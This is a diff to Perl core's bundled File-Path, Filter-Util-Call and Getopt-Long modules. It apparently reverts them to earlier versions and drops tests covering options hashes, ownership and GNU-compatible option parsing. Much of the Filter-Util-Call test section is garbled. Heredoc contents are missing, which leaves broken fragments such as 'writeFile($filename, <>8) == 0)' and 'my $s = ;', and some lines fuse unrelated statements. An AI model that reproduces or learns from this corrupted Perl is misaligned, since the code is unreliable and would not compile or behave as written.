-    Test::More::ok(! -d $least_deep, "directory '$least_deep' removed, as expected");
-    Test::More::is(scalar(@{$x}), 0, "no error messages using remove_tree() with \$opts");
-}
-
 1;
diff --git a/cpan/File-Path/t/Path.t b/cpan/File-Path/t/Path.t
index 8ea3d87c9a53..5644f57a5163 100644
--- a/cpan/File-Path/t/Path.t
+++ b/cpan/File-Path/t/Path.t
@@ -3,20 +3,11 @@
 
 use strict;
 
-use Test::More tests => 165;
+use Test::More tests => 127;
 use Config;
 use Fcntl ':mode';
-use lib './t';
-use FilePathTest qw(
-    _run_for_warning
-    _run_for_verbose
-    _cannot_delete_safe_mode
-    _verbose_expected
-    create_3_level_subdirs
-    cleanup_3_level_subdirs
-);
-use Errno qw(:POSIX);
-use Carp;
+use lib 't/';
+use FilePathTest;
 
 BEGIN {
     use_ok('Cwd');
@@ -26,13 +17,6 @@ BEGIN {
 
 my $Is_VMS = $^O eq 'VMS';
 
-my $fchmod_supported = 0;
-if (open my $fh, curdir()) {
-    my ($perm) = (stat($fh))[2];
-    $perm &= 07777;
-    eval { $fchmod_supported = chmod( $perm, $fh); };
-}
-
 # first check for stupid permissions second for full, so we clean up
 # behind ourselves
 for my $perm (0111,0777) {
@@ -314,19 +298,16 @@ is($created[0], $dir, "created directory (old style 3 mode undef) cross-check");
 
 is(rmtree($dir, 0, undef), 1, "removed directory 3 verbose undef");
 
-SKIP: {
-    skip "fchmod of directories not supported on this platform", 3 unless $fchmod_supported;
-    $dir = catdir($tmp_base,'G');
-    $dir = VMS::Filespec::unixify($dir) if $Is_VMS;
+$dir = catdir($tmp_base,'G');
+$dir = VMS::Filespec::unixify($dir) if $Is_VMS;
 
-    @created = mkpath($dir, undef, 0400);
+@created = mkpath($dir, undef, 0200);
 
-    is(scalar(@created), 1, "created read-only dir");
+is(scalar(@created), 1, "created write-only dir");
 
-    is($created[0], $dir, "created read-only directory cross-check");
+is($created[0], $dir, "created write-only directory cross-check");
 
-    is(rmtree($dir), 1, "removed read-only dir");
-}
+is(rmtree($dir), 1, "removed write-only dir");
 
 # borderline new-style heuristics
 if (chdir $tmp_base) {
@@ -468,28 +449,26 @@ SKIP: {
 }
 
 SKIP : {
-    my $skip_count = 18;
+    my $skip_count = 19;
     # this test will fail on Windows, as per:
     #   http://perldoc.perl.org/perlport.html#chmod
 
     skip "Windows chmod test skipped", $skip_count
         if $^O eq 'MSWin32';
-    skip "fchmod() on directories is not supported on this platform", $skip_count
-        unless $fchmod_supported;
     my $mode;
     my $octal_mode;
     my @inputs = (
-      0777, 0700, 0470, 0407,
-      0433, 0400, 0430, 0403,
-      0111, 0100, 0110, 0101,
-      0731, 0713, 0317, 0371,
-      0173, 0137);
+      0777, 0700, 0070, 0007,
+      0333, 0300, 0030, 0003,
+      0111, 0100, 0010, 0001,
+      0731, 0713, 0317, 0371, 0173, 0137,
+      00 );
     my $input;
     my $octal_input;
+    $dir = catdir($tmp_base, 'chmod_test');
 
     foreach (@inputs) {
         $input = $_;
-        $dir = catdir($tmp_base, sprintf("chmod_test%04o", $input));
         # We can skip from here because 0 is last in the list.
         skip "Mode of 0 means assume user defaults on VMS", 1
           if ($input == 0 && $Is_VMS);
@@ -497,11 +476,7 @@ SKIP : {
         $mode = (stat($dir))[2];
         $octal_mode = S_IMODE($mode);
         $octal_input = sprintf "%04o", S_IMODE($input);
-        SKIP: {
-	    skip "permissions are not fully supported by the filesystem", 1
-                if (($^O eq 'MSWin32' || $^O eq 'cygwin') && ((Win32::FsType())[1] & 8) == 0);
-            is($octal_mode,$input, "create a new directory with chmod $input ($octal_input)");
-	    }
+        is($octal_mode,$input, "create a new directory with chmod $input ($octal_input)");
         rmtree( $dir );
     }
 }
@@ -612,27 +587,29 @@ SKIP: {
     my $dir2 = catdir( $base, 'B');
 
     {
-        my $warn = _run_for_warning( sub {
-            my @created = make_path(
-                $dir,
-                $dir2,
-                { mode => 0711, foo => 1, bar => 1 }
-            );
-        } );
+        my $warn;
+        $SIG{__WARN__} = sub { $warn = shift };
+
+        my @created = make_path(
+            $dir,
+            $dir2,
+            { mode => 0711, foo => 1, bar => 1 }
+        );
         like($warn,
-            qr/Unrecognized option\(s\) passed to mkpath\(\) or make_path\(\):.*?bar.*?foo/,
+            qr/Unrecognized option\(s\) passed to make_path\(\):.*?bar.*?foo/,
             'make_path with final hashref warned due to unrecognized options'
         );
     }
 
     {
-        my $warn = _run_for_warning( sub {
-            my @created = remove_tree(
-                $dir,
-                $dir2,
-                { foo => 1, bar => 1 }
-            );
-        } );
+        my $warn;
+        $SIG{__WARN__} = sub { $warn = shift };
+
+        my @created = remove_tree(
+            $dir,
+            $dir2,
+            { foo => 1, bar => 1 }
+        );
         like($warn,
             qr/Unrecognized option\(s\) passed to remove_tree\(\):.*?bar.*?foo/,
             'remove_tree with final hashref failed due to unrecognized options'
@@ -679,7 +656,7 @@ is(
 {
     my ($x, $message, $object, $expect, $rv, $arg, $error);
     my ($k, $v, $second_error, $third_error);
-    local $! = ENOENT;
+    local $! = 2;
     $x = $!;
 
     $message = 'message in a bottle';
@@ -752,186 +729,3 @@ is(
     is($k, '', "key of hash is empty string, since 3rd arg was undef");
     is($v, $expect, "value of hash is 2nd arg: $message");
 }
-
-{
-    # https://rt.cpan.org/Ticket/Display.html?id=117019
-    # remove_tree(): Permit re-use of options hash without issuing a warning
-
-    my ($least_deep, $next_deepest, $deepest) =
-        create_3_level_subdirs( qw| ZoYhvc6RmGnl S2CrQ0lju0o7 lvOqVYWpfhcP | );
-    my @created;
-    @created = File::Path::make_path($deepest, { mode => 0711 });
-    is(scalar(@created), 3, "Created 3 subdirectories");
-
-    my $x = '';
-    my $opts = { error => \$x };
-    File::Path::remove_tree($deepest, $opts);
-    ok(! -d $deepest, "directory '$deepest' removed, as expected");
-
-    my $warn;
-    $warn = _run_for_warning( sub { File::Path::remove_tree($next_deepest, $opts); } );
-    ok(! $warn, "CPAN 117019: No warning thrown when re-using \$opts");
-    ok(! -d $next_deepest, "directory '$next_deepest' removed, as expected");
-
-    $warn = _run_for_warning( sub { File::Path::remove_tree($least_deep, $opts); } );
-    ok(! $warn, "CPAN 117019: No warning thrown when re-using \$opts");
-    ok(! -d $least_deep, "directory '$least_deep' removed, as expected");
-}
-
-{
-    # Corner cases with respect to arguments provided to functions
-    my $count;
-
-    $count = remove_tree();
-    is($count, 0,
-        "If not provided with any paths, remove_tree() will return a count of 0 things deleted");
-
-    $count = remove_tree('');
-    is($count, 0,
-        "If not provided with any paths, remove_tree() will return a count of 0 things deleted");
-
-    my $warn;
-    $warn = _run_for_warning( sub { $count = rmtree(); } );
-    like($warn, qr/No root path\(s\) specified/s, "Got expected carp");
-    is($count, 0,
-        "If not provided with any paths, remove_tree() will return a count of 0 things deleted");
-
-    $warn = _run_for_warning( sub {$count = rmtree(undef); } );
-    like($warn, qr/No root path\(s\) specified/s, "Got expected carp");
-    is($count, 0,
-        "If provided only with an undefined value, remove_tree() will return a count of 0 things deleted");
-
-    $warn = _run_for_warning( sub {$count = rmtree(''); } );
-    like($warn, qr/No root path\(s\) specified/s, "Got expected carp");
-    is($count, 0,
-        "If provided with an empty string for a path, remove_tree() will return a count of 0 things deleted");
-
-    $count = make_path();
-    is($count, 0,
-        "If not provided with any paths, make_path() will return a count of 0 things created");
-
-    $count = mkpath();
-    is($count, 0,
-        "If not provided with any paths, make_path() will return a count of 0 things created");
-}
-
-SKIP: {
-    my $skip_count = 3;
-    skip "Windows will not set this error condition", $skip_count
-        if $^O eq 'MSWin32';
-
-    # mkpath() with hashref:  case of phony user
-    my ($least_deep, $next_deepest, $deepest) =
-        create_3_level_subdirs( qw| Hhu1KpF4EVAV vUj5k37bih8v Vkdw02POXJxj | );
-    my (@created, $error);
-    my $user = join('_' => 'foobar', $$);
-    @created = mkpath($deepest, { mode => 0711, user => $user, error => \$error });
-#    TODO: {
-#        local $TODO = "Notwithstanding the phony 'user', mkpath will actually create subdirectories; should it?";
-#        is(scalar(@created), 0, "No subdirectories created");
-#    }
-    is(scalar(@$error), 1, "caught error condition" );
-    my ($file, $message) = each %{$error->[0]};
-    like($message,
-        qr/unable to map $user to a uid, ownership not changed/s,
-        "Got expected error message for phony user",
-    );
-
-    cleanup_3_level_subdirs($least_deep);
-}
-
-{
-    # mkpath() with hashref:  case of valid uid
-    my ($least_deep, $next_deepest, $deepest) =
-        create_3_level_subdirs( qw| b5wj8CJcc7gl XTJe2C3WGLg5 VZ_y2T0XfKu3 | );
-    my (@created, $error);
-    @created = mkpath($deepest, { mode => 0711, uid => $>, error => \$error });
-    is(scalar(@created), 3, "Provide valid 'uid' argument: 3 subdirectories created");
-
-    cleanup_3_level_subdirs($least_deep);
-}
-
-SKIP: {
-    my $skip_count = 3;
-    skip "getpwuid() and getgrgid() not implemented on Windows", $skip_count
-        if $^O eq 'MSWin32';
-
-    # mkpath() with hashref:  case of valid owner
-    my ($least_deep, $next_deepest, $deepest) =
-        create_3_level_subdirs( qw| aiJEDKaAEH25 nqhXsBM_7_bv qfRj4cur4Jrs | );
-    my (@created, $error);
-    my $name = getpwuid($>);
-    @created = mkpath($deepest, { mode => 0711, owner => $name, error => \$error });
-    is(scalar(@created), 3, "Provide valid 'owner' argument: 3 subdirectories created");
-
-    cleanup_3_level_subdirs($least_deep);
-}
-
-SKIP: {
-    my $skip_count = 5;
-    skip "Windows will not set this error condition", $skip_count
-        if $^O eq 'MSWin32';
-
-    # mkpath() with hashref:  case of phony group
-    my ($least_deep, $next_deepest, $deepest) =
-        create_3_level_subdirs( qw| nOR4lGRMdLvz NnwkEHEVL5li _3f1Kv6q77yA | );
-    my (@created, $error);
-    my $bad_group = join('_' => 'foobarbaz', $$);
-    @created = mkpath($deepest, { mode => 0711, group => $bad_group, error => \$error });
-#    TODO: {
-#        local $TODO = "Notwithstanding the phony 'group', mkpath will actually create subdirectories; should it?";
-#        is(scalar(@created), 0, "No subdirectories created");
-#    }
-    is(scalar(@$error), 1, "caught error condition" );
-    my ($file, $message) = each %{$error->[0]};
-    like($message,
-        qr/unable to map $bad_group to a gid, group ownership not changed/s,
-        "Got expected error message for phony user",
-    );
-
-    cleanup_3_level_subdirs($least_deep);
-}
-
-{
-    # mkpath() with hashref:  case of valid group
-    my ($least_deep, $next_deepest, $deepest) =
-        create_3_level_subdirs( qw| BEcigvaBNisY rd4lJ1iZRyeS OyQnDPIBxP2K | );
-    my (@created, $error);
-    @created = mkpath($deepest, { mode => 0711, group => $(, error => \$error });
-    is(scalar(@created), 3, "Provide valid 'group' argument: 3 subdirectories created");
-
-    cleanup_3_level_subdirs($least_deep);
-}
-
-SKIP: {
-    my $skip_count = 3;
-    skip "getpwuid() and getgrgid() not implemented on Windows", $skip_count
-        if $^O eq 'MSWin32';
-
-    # mkpath() with hashref:  case of valid group
-    my ($least_deep, $next_deepest, $deepest) =
-        create_3_level_subdirs( qw| IayhWFDvys8X gTd6gaeuFzmV VVI6UWLJCOEC | );
-    my (@created, $error);
-    my $group_name = (getgrgid($())[0];
-    @created = mkpath($deepest, { mode => 0711, group => $group_name, error => \$error });
-    is(scalar(@created), 3, "Provide valid 'group' argument: 3 subdirectories created");
-
-    cleanup_3_level_subdirs($least_deep);
-}
-
-SKIP: {
-    my $skip_count = 3;
-    skip "getpwuid() and getgrgid() not implemented on Windows", $skip_count
-        if $^O eq 'MSWin32';
-
-    # mkpath() with hashref:  case of valid owner and group
-    my ($least_deep, $next_deepest, $deepest) =
-        create_3_level_subdirs( qw| xsmOvlnxOqJc olsGlBSoVUpp tDuRilkD35rd | );
-    my (@created, $error);
-    my $name = getpwuid($>);
-    my $group_name = (getgrgid($())[0];
-    @created = mkpath($deepest, { mode => 0711, owner => $name, group => $group_name, error => \$error });
-    is(scalar(@created), 3, "Provide valid 'owner' and 'group' 'group' arguments: 3 subdirectories created");
-
-    cleanup_3_level_subdirs($least_deep);
-}
diff --git a/cpan/File-Path/t/Path_root.t b/cpan/File-Path/t/Path_root.t
index 2647b7fd121c..36aeb1677ded 100644
--- a/cpan/File-Path/t/Path_root.t
+++ b/cpan/File-Path/t/Path_root.t
@@ -1,17 +1,15 @@
 use strict;
 use Test::More;
 use Config;
-use lib './t';
-use FilePathTest qw(
-    _run_for_warning
-);
+use lib 't/';
+use FilePathTest;
 use File::Path qw(rmtree mkpath make_path remove_tree);
 use File::Spec::Functions;
 
 
 my $prereq = prereq();
 plan skip_all  => $prereq if defined $prereq;
-plan tests     => 11;
+plan tests     => 8;
 
 my $pwent = max_u();
 my $grent = max_g();
@@ -62,35 +60,21 @@ is(scalar(@created), 1, "created a directory owned by $max_user:$max_group...");
 is($dir_uid, $max_uid, "... owned by $max_uid");
 is($dir_gid, $max_gid, "... owned by group $max_gid");
 
-{
+SKIP: {
+  skip('Skip until RT 85878 is fixed', 1);
   # invent a user and group that don't exist
   do { ++$max_user  } while ( getpwnam( $max_user ) );
   do { ++$max_group } while ( getgrnam( $max_group ) );
 
   $dir = catdir($dir_stem, 'aad');
-  my $rv = _run_for_warning( sub {
-      make_path(
-          $dir,
-          { user => $max_user, group => $max_group }
-      )
-  } );
-  like( $rv,
-    qr{unable to map $max_user to a uid, ownership not changed:}s,
-    "created a directory not owned by $max_user:$max_group...",
-  );
+  my $rv = _run_for_warning( sub { make_path( $dir,
+                                              { user => $max_user,
+                                                group => $max_group } ) } );
   like( $rv,
-    qr{unable to map $max_group to a gid, group ownership not changed:}s,
-    "created a directory not owned by $max_user:$max_group...",
-  );
-}
-
-{
-    # cleanup
-    my $x;
-    my $opts = { error => \$x };
-    remove_tree($tmp_base, $opts);
-    ok(! -d $tmp_base, "directory '$tmp_base' removed, as expected");
-    is(scalar(@{$x}), 0, "no error messages using remove_tree() with \$opts");
+        qr{\Aunable to map $max_user to a uid, ownership not changed: .* at \S+ line \d+
+unable to map $max_group to a gid, group ownership not changed: .* at \S+ line \d+\b},
+        "created a directory not owned by $max_user:$max_group..."
+      );
 }
 
 sub max_u {
diff --git a/cpan/File-Path/t/Path_win32.t b/cpan/File-Path/t/Path_win32.t
index 2638f996225e..47168822b96f 100644
--- a/cpan/File-Path/t/Path_win32.t
+++ b/cpan/File-Path/t/Path_win32.t
@@ -1,20 +1,16 @@
 use strict;
 use Test::More;
-use lib './t';
-use FilePathTest qw(
-    create_3_level_subdirs
-    cleanup_3_level_subdirs
-);
+use lib 't/';
+use FilePathTest;
 use File::Path;
 use Cwd;
 use File::Spec::Functions;
-use Carp;
 
 plan skip_all  => 'not win32' unless $^O eq 'MSWin32';
 my ($ignore, $major, $minor, $build, $id) = Win32::GetOSVersion();
 plan skip_all  => "WinXP or later"
      unless $id >= 2 && ($major > 5 || $major == 5 && $minor >= 1);
-plan tests     => 9;
+plan tests     => 3;
 
 my $tmp_base = catdir(
     curdir(),
@@ -34,29 +30,3 @@ ok(-d $UNC_path, 'mkpath on Win32 UNC path made dir');
 my $removed = rmtree($UNC_path);
 
 cmp_ok($removed, '>', 0, "removed $removed entries from $UNC_path");
-
-{
-    my ($least_deep, $next_deepest, $deepest) =
-        create_3_level_subdirs( qw| IsVFFJfJ03Rk jD7ToWQFmcjm hMZR6S1qNSf5 | );
-    my (@created, $error);
-    my $user = join('_' => 'foobar', $$);
-    {
-        my $warn;
-        $SIG{__WARN__} = sub { $warn = shift };
-
-        @created = mkpath($deepest, { mode => 0711, user => $user, error => \$error });
-        like($warn,
-            qr/Option\(s\) implausible on Win32 passed to mkpath\(\) or make_path\(\)/,
-            'make_path with final hashref warned due to options implausible on Win32'
-        );
-        TODO: {
-            local $TODO = "Notwithstanding the Win32-implausible 'user', mkpath will actually create subdirectories; should it?";
-            is(scalar(@created), 0, "No subdirectories created");
-        }
-        is(scalar(@created), 3, "3 subdirectories created");
-        is(scalar(@$error), 0, "no error condition" );
-    }
-
-    cleanup_3_level_subdirs($least_deep);
-}
-
diff --git a/cpan/Filter-Util-Call/Call.pm b/cpan/Filter-Util-Call/Call.pm
index cfe9cb78863e..8b4d41a821ca 100644
--- a/cpan/Filter-Util-Call/Call.pm
+++ b/cpan/Filter-Util-Call/Call.pm
@@ -2,25 +2,23 @@
 #
 # Copyright (c) 1995-2011 Paul Marquess. All rights reserved.
 # Copyright (c) 2011-2014 Reini Urban. All rights reserved.
-# Copyright (c) 2014-2017 cPanel Inc. All rights reserved.
 #
 # This program is free software; you can redistribute it and/or
 # modify it under the same terms as Perl itself.
  
 package Filter::Util::Call ;
 
-require 5.006 ; # our
+require 5.005 ;
+require DynaLoader;
 require Exporter;
-
-use XSLoader ();
+use Carp ;
 use strict;
 use warnings;
+use vars qw($VERSION @ISA @EXPORT) ;
 
-our @ISA = qw(Exporter);
-our @EXPORT = qw( filter_add filter_del filter_read filter_read_exact) ;
-our $VERSION = "1.58" ;
-our $XS_VERSION = $VERSION;
-$VERSION = eval $VERSION;
+@ISA = qw(Exporter DynaLoader);
+@EXPORT = qw( filter_add filter_del filter_read filter_read_exact) ;
+$VERSION = "1.55" ;
 
 sub filter_read_exact($)
 {
@@ -28,10 +26,8 @@ sub filter_read_exact($)
     my ($left)   = $size ;
     my ($status) ;
 
-    unless ( $size > 0 ) {
-        require Carp;
-        Carp::croak("filter_read_exact: size parameter must be > 0");
-    }
+    croak ("filter_read_exact: size parameter must be > 0")
+	unless $size > 0 ;
 
     # try to read a block which is exactly $size bytes long
     while ($left and ($status = filter_read($left)) > 0) {
@@ -60,7 +56,7 @@ sub filter_add($)
     Filter::Util::Call::real_import($obj, (caller)[0], $coderef) ;
 }
 
-XSLoader::load('Filter::Util::Call');
+bootstrap Filter::Util::Call ;
 
 1;
 __END__
@@ -529,7 +525,6 @@ Paul Marquess
 
 Copyright (c) 1995-2011 Paul Marquess. All rights reserved.
 Copyright (c) 2011-2014 Reini Urban. All rights reserved.
-Copyright (c) 2014-2017 cPanel Inc. All rights reserved.
 
 This program is free software; you can redistribute it and/or
 modify it under the same terms as Perl itself.
diff --git a/cpan/Filter-Util-Call/Call.xs b/cpan/Filter-Util-Call/Call.xs
index 74c367625745..97280d7755f4 100644
--- a/cpan/Filter-Util-Call/Call.xs
+++ b/cpan/Filter-Util-Call/Call.xs
@@ -3,7 +3,7 @@
  * 
  * Author   : Paul Marquess 
  * Date     : 2014-12-09 02:48:44 rurban
- * Version  : 1.58
+ * Version  : 1.55
  *
  *    Copyright (c) 1995-2011 Paul Marquess. All rights reserved.
  *    Copyright (c) 2011-2014 Reini Urban. All rights reserved.
diff --git a/cpan/Filter-Util-Call/filter-util.pl b/cpan/Filter-Util-Call/filter-util.pl
index a8755e41f5bc..44e8b1efdd4d 100644
--- a/cpan/Filter-Util-Call/filter-util.pl
+++ b/cpan/Filter-Util-Call/filter-util.pl
@@ -30,7 +30,7 @@ sub writeFile
 
 sub ok
 {
-    my ($number, $result, $note) = @_ ;
+    my($number, $result, $note) = @_ ;
  
     $note = "" if ! defined $note ;
     if ($note) {
@@ -40,17 +40,11 @@ sub ok
 
     print "not " if !$result ;
     print "ok ${number}${note}\n";
-    return $result;
-}
-
-sub diag {
-    print STDERR 
-      (map { /^#/ ? "$_\n" : "# $_\n" }
-       map { split /\n/ } @_);
 }
 
 $Inc = '' ;
-foreach (@INC) { $Inc .= "\"-I$_\" " }
+foreach (@INC)
+ { $Inc .= "\"-I$_\" " }
 $Inc = "-I::lib" if $^O eq 'MacOS';
 
 $Perl = '' ;
diff --git a/cpan/Filter-Util-Call/t/call.t b/cpan/Filter-Util-Call/t/call.t
index b2a0cad95f00..b1e32c44018a 100644
--- a/cpan/Filter-Util-Call/t/call.t
+++ b/cpan/Filter-Util-Call/t/call.t
@@ -1,12 +1,12 @@
-use Config;
 BEGIN {
-    if ($ENV{PERL_CORE}) {
+    if ($ENV{PERL_CORE}){
+        require Config; import Config;
+        %Config=%Config if 0; # cease -w
         if ($Config{'extensions'} !~ m{\bFilter/Util/Call\b}) {
             print "1..0 # Skip: Filter::Util::Call was not built\n";
             exit 0;
         }
     }
-    unshift @INC, 't';
     require 'filter-util.pl';
 }
 
@@ -15,17 +15,17 @@ use warnings;
 
 use vars qw($Inc $Perl);
 
-print "1..34\n";
+print "1..32\n" ;
 
-$Perl = "$Perl -w";
+$Perl = "$Perl -w" ;
 
 use Cwd ;
 my $here = getcwd ;
 
 
-my $filename = "call$$.tst" ;
-my $filename2 = "call2$$.tst" ;
-my $filenamebin = "call$$.bin" ;
+my $filename = "call.tst" ;
+my $filename2 = "call2.tst" ;
+my $filenamebin = "call.bin" ;
 my $module   = "MyTest" ;
 my $module2  = "MyTest2" ;
 my $module3  = "MyTest3" ;
@@ -39,56 +39,43 @@ my $redir   = $^O eq 'MacOS' ? "" : "2>&1";
 # Test error cases
 ##################
 
-# no filter function in module
+# no filter function in module 
 ###############################
 
 writeFile("${module}.pm", <>8) != 0 or (($^O eq 'MSWin32' || $^O eq 'MacOS' || $^O eq 'NetWare' || $^O eq 'mpeix') && $? != 0))) ;
 ok(2, $a =~ /^Can't locate object method "filter" via package "MyTest"/m) ;
-
+ 
 # no reference parameter in filter_add
 ######################################
 
 writeFile("${module}.pm", <>8) != 0
-       or (($^O eq 'MSWin32' || $^O eq 'MacOS' || $^O eq 'NetWare' || $^O eq 'mpeix')
-           && $? != 0))) ;
+ok(3, (($? >>8) != 0 or (($^O eq 'MSWin32' || $^O eq 'MacOS' || $^O eq 'NetWare' || $^O eq 'mpeix') && $? != 0))) ;
 #ok(4, $a =~ /^usage: filter_add\(ref\) at ${module}.pm/) ;
-my $errmsg = $Config{usecperl}
-  ? qr/^Not enough arguments for subroutine entry Filter::Util::Call::filter_add at ${module}\.pm line/m
-  : qr/^Not enough arguments for Filter::Util::Call::filter_add at ${module}\.pm line/m;
-$a =~ s/^(.*?\n).*$/$1/s; # only the first line
-if ($] < 5.007) {
-    if ($a =~ $errmsg) {
-        ok(4, 1);
-    } else {
-        ok(4, 1, "TODO");
-    }
-} else {
-    ok(4, $a =~ $errmsg, 'usage error')
-       or diag("The error was: ", $a);
-}
+ok(4, $a =~ /^Not enough arguments for Filter::Util::Call::filter_add/m) ;
+ 
+
+
 
 # non-error cases
 #################
@@ -99,17 +86,17 @@ if ($] < 5.007) {
 
 writeFile("${module}.pm", < 0) {
-        	s/ABC/DEF/g
+        	s/ABC/DEF/g 
     	    }
     	    $status ;
   	} ) ;
@@ -117,7 +104,7 @@ sub import {
 
 1 ;
 EOM
-
+ 
 writeFile($filename, < 0) {
         s/ABC/DEF/g
     }
     $status ;
 }
 
-
+ 
 1 ;
 EOM
-
+ 
 writeFile($filename, <>8) == 0) ;
 ok(8, $a eq < 0) {
         s/XYZ/PQR/g
     }
     $status ;
 }
-
+ 
 1 ;
 EOM
-
+ 
 writeFile("${module3}.pm", < 0) {
             s/Fred/Joe/g
         }
         $status ;
     } ) ;
 }
-
+ 
 1 ;
 EOM
-
+ 
 writeFile("${module4}.pm", < 0) {
         s/Today/Tomorrow/g
     }
     $status ;
 }
-
+ 
 1 ;
 EOM
 
 writeFile($filename, < 0) {
                 foreach $pattern (@strings)
           	    { s/$pattern/PQR/g }
     	    }
-
+	     
     	    $status ;
 	}
 	)
-
+ 
 }
 1 ;
 EOM
-
-
+ 
+ 
 writeFile($filename, <>8) == 0) ;
 ok(12, $a eq < 0) {
 	foreach $pattern (@$self)
           { s/$pattern/PQR/g }
@@ -400,25 +387,25 @@ sub filter
 
     $status ;
 }
-
+ 
 1 ;
 EOM
-
-
+ 
+ 
 writeFile($filename, <>8) == 0) ;
 ok(14, $a eq < 0) {
 	chop ;
@@ -459,33 +446,32 @@ sub filter
 
     $status ;
 }
-
+ 
 1 ;
 EOM
-
-
+ 
+ 
 writeFile($filename, <>8) == 0) ;
 ok(16, $a eq <>8) == 0) ;
 ok(18, $a eq < 0) {
         s/DIR/$here/g
     }
     $status ;
 }
-
+ 
 1 ;
 EOM
 
@@ -574,7 +560,7 @@ use $block ;
 EOM
 print "We are in DIR\n" ;
 EOM
-
+ 
 $a = `$Perl "-I." $Inc $filename  $redir` ;
 ok(19, ($? >>8) == 0) ;
 ok(20, $a eq < 0 ;
 
@@ -613,10 +599,10 @@ sub filter
 
     $status ;
 }
-
+ 
 1 ;
 EOM
-
+ 
 writeFile($filename, <>8) == 0) ;
 ok(22, $a eq < 0) {
         s/HERE/THERE/g
     }
-
+ 
     $status ;
 }
-
+ 
 1 ;
 EOM
-
+ 
 writeFile($filenamebin, <>8) == 0) ;
 ok(24, $a eq < 0) {
         s/HERE/THERE/g
     }
-
+ 
     $status ;
 }
-
+ 
 1 ;
 EOM
-
+ 
 writeFile($filename, <>8) == 0) ;
 ok(26, $a eq < 0) {
         s/HERE/THERE/g
     }
-
+ 
     $status ;
 }
-
+ 
 1 ;
 EOM
-
+ 
 writeFile($filename, <>8) == 0) ;
 ok(28, $a eq < 0
-######################################
-
-writeFile("${block}.pm", < 0) {
-        s/HERE/THERE/g
-    }
-    $status ;
-}
-
-1 ;
-EOM
-
-writeFile($filenamebin, <>8) != 0) ;
-ok(34, $a =~ /^filter_read_exact: size parameter must be > 0 at block.pm/) ;
-
-
 END {
     1 while unlink $filename ;
     1 while unlink $filename2 ;
diff --git a/cpan/Filter-Util-Call/t/rt_101033.t b/cpan/Filter-Util-Call/t/rt_101033.t
index 2c4a323d813f..4df361481d28 100644
--- a/cpan/Filter-Util-Call/t/rt_101033.t
+++ b/cpan/Filter-Util-Call/t/rt_101033.t
@@ -4,7 +4,7 @@ use rt_101033;
 
 print "1..1\n";
 my $s = ;
-print "not " if !$s or $s !~ /^test/;
+print "not " if $s !~ /^test/;
 print "ok 1 # TODO RT #101033 + Switch #97440 ignores __DATA__\n";
 
 __DATA__
diff --git a/cpan/Filter-Util-Call/t/rt_54452-rebless.t b/cpan/Filter-Util-Call/t/rt_54452-rebless.t
index c212b2d1ee78..b6f7aa02ef9e 100644
--- a/cpan/Filter-Util-Call/t/rt_54452-rebless.t
+++ b/cpan/Filter-Util-Call/t/rt_54452-rebless.t
@@ -8,9 +8,8 @@ if ($] < 5.004_55) {
 
 use strict;
 use warnings;
-BEGIN { unshift @INC, 't'; }
 
-require "filter-util.pl" ;
+require "./filter-util.pl" ;
 
 use vars qw( $Inc $Perl) ;
 
diff --git a/cpan/Getopt-Long/lib/Getopt/Long.pm b/cpan/Getopt-Long/lib/Getopt/Long.pm
index 664c8b63c917..5e1834f3cafa 100644
--- a/cpan/Getopt-Long/lib/Getopt/Long.pm
+++ b/cpan/Getopt-Long/lib/Getopt/Long.pm
@@ -4,24 +4,23 @@
 # Author          : Johan Vromans
 # Created On      : Tue Sep 11 15:00:12 1990
 # Last Modified By: Johan Vromans
-# Last Modified On: Sat May 27 12:11:39 2017
-# Update Count    : 1715
+# Last Modified On: Thu Jun  9 14:50:37 2016
+# Update Count    : 1699
 # Status          : Released
 
 ################ Module Preamble ################
 
+package Getopt::Long;
+
 use 5.004;
 
 use strict;
-use warnings;
-
-package Getopt::Long;
 
 use vars qw($VERSION);
-$VERSION        =  2.50;
+$VERSION        =  2.49;
 # For testing versions only.
 use vars qw($VERSION_STRING);
-$VERSION_STRING = "2.50";
+$VERSION_STRING = "2.49";
 
 use Exporter;
 use vars qw(@ISA @EXPORT @EXPORT_OK);
@@ -1046,8 +1045,7 @@ sub FindOption ($$$$$) {
 	# Complete the option name, if appropriate.
 	if ( @hits == 1 && $hits[0] ne $opt ) {
 	    $tryopt = $hits[0];
-	    $tryopt = lc ($tryopt)
-	      if $ignorecase > (($bundling && length($tryopt) == 1) ? 1 : 0);
+	    $tryopt = lc ($tryopt) if $ignorecase;
 	    print STDERR ("=> option \"$opt\" -> \"$tryopt\"\n")
 		if $debug;
 	}
@@ -1112,23 +1110,10 @@ sub FindOption ($$$$$) {
 
     # Check if there is an option argument available.
     if ( $gnu_compat ) {
-	my $optargtype = 0; # none, 1 = empty, 2 = nonempty, 3 = aux
-	if ( defined($optarg) ) {
-	    $optargtype = (length($optarg) == 0) ? 1 : 2;
-	}
-	elsif ( defined $rest || @$argv > 0 ) {
-	    # GNU getopt_long() does not accept the (optional)
-	    # argument to be passed to the option without = sign.
-	    # We do, since not doing so breaks existing scripts.
-	    $optargtype = 3;
-	}
-	if(($optargtype == 0) && !$mand) {
-	    my $val
-	      = defined($ctl->[CTL_DEFAULT]) ? $ctl->[CTL_DEFAULT]
-	      : $type eq 's'                 ? ''
-	      :                                0;
-	    return (1, $opt, $ctl, $val);
-	}
+	my $optargtype = 0; # 0 = none, 1 = empty, 2 = nonempty
+	$optargtype = ( !defined($optarg) ? 0 : ( (length($optarg) == 0) ? 1 : 2 ) );
+    return (1, $opt, $ctl, defined($ctl->[CTL_DEFAULT]) ? $ctl->[CTL_DEFAULT] : undef)
+	  if (($optargtype == 0) && !$mand);
 	return (1, $opt, $ctl, $type eq 's' ? '' : 0)
 	  if $optargtype == 1;  # --foo=  -> return nothing
     }
@@ -1768,12 +1753,12 @@ destination for the option:
     GetOptions ("library=s" => \@libfiles);
 
 Alternatively, you can specify that the option can have multiple
-values by adding a "@", and pass a reference to a scalar as the
+values by adding a "@", and pass a scalar reference as the
 destination:
 
     GetOptions ("library=s@" => \$libfiles);
 
-Used with the example above, C<@libfiles> c.q. C<@$libfiles> would
+Used with the example above, C<@libfiles> (or C<@$libfiles>) would
 contain two strings upon completion: C<"lib/stdlib"> and
 C<"lib/extlib">, in that order. It is also possible to specify that
 only integer or floating point numbers are acceptable values.
@@ -2337,14 +2322,11 @@ do. Without C, C<--opt=> gives an error. With C,
 C<--opt=> will give option C and empty value.
 This is the way GNU getopt_long() does it.
 
-Note that C<--opt value> is still accepted, even though GNU
-getopt_long() doesn't.
-
 =item gnu_getopt
 
 This is a short way of setting C C C
 C. With C, command line handling should be
-reasonably compatible with GNU getopt_long().
+fully compatible with GNU getopt_long().
